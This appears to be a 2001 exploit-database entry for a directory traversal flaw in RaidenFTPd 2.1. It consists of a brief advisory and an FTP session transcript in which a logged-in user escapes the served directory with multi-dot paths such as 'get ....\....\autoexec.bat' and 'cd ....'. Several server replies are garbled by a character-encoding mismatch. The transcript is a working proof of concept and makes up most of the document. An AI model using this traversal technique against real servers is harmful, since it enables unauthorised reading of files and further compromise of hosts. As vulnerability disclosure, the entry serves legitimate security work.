RaidenFTPd 2.1 - Directory Traversal

Type exploitpack
Reporter joetesta
Modified 2001-04-25T00:00:00


RaidenFTPd 2.1 - Directory Traversal


Raiden FTPD is susceptible to directory traversal attacks using multiple dots in submitted commands specifying file paths.

If the request is properly composed, RaidenFTPD will serve files outside of the intended webroot, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. 

> ftp localhost
220-This FTP site is running free version of RaidenFTPD
220-Download chinese version from
220-Download english version from
220-RaidenFTPD32 for RaidenFTPD (up since 2001/04/20 15:00)
220-This server is for private use only
220-If you do not have access to this server
220-Please disconnect now
220 Please enter your login name now.
User ( jdog
331 Password required for jdog .
[really long login banner edited out]
230 User jdog logged in , proceed.
ftp> get ....\....\autoexec.bat
200 Port command ok.
150 Sending /....\....\autoexec.bat (419 bytes). Mode STREAM Type ASCII
226-�+ª+¦s+uññ_zª@ ñU¦¦ : 419 ª_ñ+_+ ñW¦¦ : 0 ª_ñ+_+
226-¦¦½�ñ@ª+ñU¦¦¬¦¦t½+¼O : 419 kb/sec _zª¦ Unlimited kb ¬¦ñU¦¦+B½+
226-�+½e¬¦�++²¼O /
226 Transfer finished successfully. Data connection closed.
ftp: 419 bytes received in 0.27Seconds 1.55Kbytes/sec.
ftp> cd ....
250-ª¦�++²¦-ñU¬+¦í 1323 mb
250 "/.." is current directory.